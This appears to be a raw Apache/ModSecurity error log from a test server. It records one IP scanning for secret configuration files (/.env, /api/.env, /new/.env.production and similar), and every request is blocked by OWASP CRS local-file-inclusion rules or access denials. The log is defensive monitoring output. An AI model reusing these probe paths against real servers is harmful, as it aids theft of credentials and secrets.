[Wed Nov 26 19:05:59.844619 2025] [:error] [pid 334002] [client 195.178.110.110:40506] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSdBh_Jt2cox8jom8lwSDAAAAAg"]
[Wed Nov 26 19:05:59.844855 2025] [:error] [pid 334002] [client 195.178.110.110:40506] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSdBh_Jt2cox8jom8lwSDAAAAAg"]
[Wed Nov 26 19:05:59.845012 2025] [:error] [pid 334002] [client 195.178.110.110:40506] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSdBh_Jt2cox8jom8lwSDAAAAAg"]
[Wed Nov 26 19:06:21.998384 2025] [:error] [pid 336734] [client 195.178.110.110:57368] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /portal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/portal/.env"] [unique_id "aSdBncVzR697olltB6JkyQAAAA8"]
[Wed Nov 26 19:06:21.998616 2025] [:error] [pid 336734] [client 195.178.110.110:57368] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/portal/.env"] [unique_id "aSdBncVzR697olltB6JkyQAAAA8"]
[Wed Nov 26 19:06:21.998781 2025] [:error] [pid 336734] [client 195.178.110.110:57368] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/portal/.env"] [unique_id "aSdBncVzR697olltB6JkyQAAAA8"]
[Wed Nov 26 19:06:38.214440 2025] [:error] [pid 336729] [client 195.178.110.110:52122] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /portal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/portal/.env"] [unique_id "aSdBrhYc3OAEw9RHe6IsSgAAAAo"]
[Wed Nov 26 19:06:38.214687 2025] [:error] [pid 336729] [client 195.178.110.110:52122] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/portal/.env"] [unique_id "aSdBrhYc3OAEw9RHe6IsSgAAAAo"]
[Wed Nov 26 19:06:38.214863 2025] [:error] [pid 336729] [client 195.178.110.110:52122] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/portal/.env"] [unique_id "aSdBrhYc3OAEw9RHe6IsSgAAAAo"]
[Wed Nov 26 19:06:45.841158 2025] [:error] [pid 332764] [client 195.178.110.110:60934] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /env/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env/.env"] [unique_id "aSdBtb_di7oM_t3yyj5TCgAAAAE"]
[Wed Nov 26 19:06:45.841400 2025] [:error] [pid 332764] [client 195.178.110.110:60934] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env/.env"] [unique_id "aSdBtb_di7oM_t3yyj5TCgAAAAE"]
[Wed Nov 26 19:06:45.841591 2025] [:error] [pid 332764] [client 195.178.110.110:60934] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env/.env"] [unique_id "aSdBtb_di7oM_t3yyj5TCgAAAAE"]
[Wed Nov 26 19:06:51.106306 2025] [:error] [pid 336733] [client 195.178.110.110:60944] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /env/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env/.env"] [unique_id "aSdBu9FEE-YEDclto1jQwwAAAA4"]
[Wed Nov 26 19:06:51.106591 2025] [:error] [pid 336733] [client 195.178.110.110:60944] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env/.env"] [unique_id "aSdBu9FEE-YEDclto1jQwwAAAA4"]
[Wed Nov 26 19:06:51.106763 2025] [:error] [pid 336733] [client 195.178.110.110:60944] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env/.env"] [unique_id "aSdBu9FEE-YEDclto1jQwwAAAA4"]
[Wed Nov 26 19:06:58.654254 2025] [:error] [pid 334002] [client 195.178.110.110:40974] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aSdBwvJt2cox8jom8lwSDgAAAAg"]
[Wed Nov 26 19:06:58.654535 2025] [:error] [pid 334002] [client 195.178.110.110:40974] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aSdBwvJt2cox8jom8lwSDgAAAAg"]
[Wed Nov 26 19:06:58.654714 2025] [:error] [pid 334002] [client 195.178.110.110:40974] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aSdBwvJt2cox8jom8lwSDgAAAAg"]
[Wed Nov 26 19:07:05.356310 2025] [:error] [pid 336731] [client 195.178.110.110:59638] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aSdByVPr-5NQFmRJopW6LAAAAAw"]
[Wed Nov 26 19:07:05.356563 2025] [:error] [pid 336731] [client 195.178.110.110:59638] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aSdByVPr-5NQFmRJopW6LAAAAAw"]
[Wed Nov 26 19:07:05.356777 2025] [:error] [pid 336731] [client 195.178.110.110:59638] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aSdByVPr-5NQFmRJopW6LAAAAAw"]
[Wed Nov 26 19:07:05.485330 2025] [authz_core:error] [pid 336731] [client 195.178.110.110:59638] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env
[Wed Nov 26 19:07:05.908570 2025] [authz_core:error] [pid 332947] [client 195.178.110.110:59646] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/.env
[Wed Nov 26 19:07:17.872881 2025] [authz_core:error] [pid 336734] [client 195.178.110.110:58270] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/.env
[Wed Nov 26 19:07:28.497395 2025] [authz_core:error] [pid 336729] [client 195.178.110.110:35526] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/.env
[Wed Nov 26 19:07:52.734443 2025] [:error] [pid 334002] [client 195.178.110.110:49026] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /new/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env"] [unique_id "aSdB-PJt2cox8jom8lwSDwAAAAg"]
[Wed Nov 26 19:07:52.734695 2025] [:error] [pid 334002] [client 195.178.110.110:49026] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env"] [unique_id "aSdB-PJt2cox8jom8lwSDwAAAAg"]
[Wed Nov 26 19:07:52.734871 2025] [:error] [pid 334002] [client 195.178.110.110:49026] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env"] [unique_id "aSdB-PJt2cox8jom8lwSDwAAAAg"]
[Wed Nov 26 19:08:03.753893 2025] [:error] [pid 332765] [client 195.178.110.110:60544] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /new/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.local"] [unique_id "aSdCA66rD5eHUPU8N3cg4wAAAAI"]
[Wed Nov 26 19:08:03.754247 2025] [:error] [pid 332765] [client 195.178.110.110:60544] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.local"] [unique_id "aSdCA66rD5eHUPU8N3cg4wAAAAI"]
[Wed Nov 26 19:08:03.754510 2025] [:error] [pid 332765] [client 195.178.110.110:60544] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.local"] [unique_id "aSdCA66rD5eHUPU8N3cg4wAAAAI"]
[Wed Nov 26 19:08:10.864654 2025] [:error] [pid 336734] [client 195.178.110.110:60552] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /new/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.local"] [unique_id "aSdCCsVzR697olltB6JkywAAAA8"]
[Wed Nov 26 19:08:10.864899 2025] [:error] [pid 336734] [client 195.178.110.110:60552] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.local"] [unique_id "aSdCCsVzR697olltB6JkywAAAA8"]
[Wed Nov 26 19:08:10.865080 2025] [:error] [pid 336734] [client 195.178.110.110:60552] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.local"] [unique_id "aSdCCsVzR697olltB6JkywAAAA8"]
[Wed Nov 26 19:08:11.048331 2025] [:error] [pid 336734] [client 195.178.110.110:60552] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /new/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.production"] [unique_id "aSdCC8VzR697olltB6JkzAAAAA8"]
[Wed Nov 26 19:08:11.048576 2025] [:error] [pid 336734] [client 195.178.110.110:60552] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.production"] [unique_id "aSdCC8VzR697olltB6JkzAAAAA8"]
[Wed Nov 26 19:08:11.048778 2025] [:error] [pid 336734] [client 195.178.110.110:60552] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.production"] [unique_id "aSdCC8VzR697olltB6JkzAAAAA8"]
[Wed Nov 26 19:08:11.450261 2025] [:error] [pid 336734] [client 195.178.110.110:60552] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /new/.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.staging"] [unique_id "aSdCC8VzR697olltB6JkzQAAAA8"]
[Wed Nov 26 19:08:11.450532 2025] [:error] [pid 336734] [client 195.178.110.110:60552] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.staging"] [unique_id "aSdCC8VzR697olltB6JkzQAAAA8"]
[Wed Nov 26 19:08:11.450727 2025] [:error] [pid 336734] [client 195.178.110.110:60552] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.staging"] [unique_id "aSdCC8VzR697olltB6JkzQAAAA8"]
[Wed Nov 26 19:08:29.938985 2025] [:error] [pid 336732] [client 195.178.110.110:49472] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /awstats/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/awstats/.env"] [unique_id "aSdCHTG2dTj3WsfmBXw0GAAAAA0"]
[Wed Nov 26 19:08:29.939232 2025] [:error] [pid 336732] [client 195.178.110.110:49472] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/awstats/.env"] [unique_id "aSdCHTG2dTj3WsfmBXw0GAAAAA0"]
[Wed Nov 26 19:08:29.939419 2025] [:error] [pid 336732] [client 195.178.110.110:49472] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/awstats/.env"] [unique_id "aSdCHTG2dTj3WsfmBXw0GAAAAA0"]
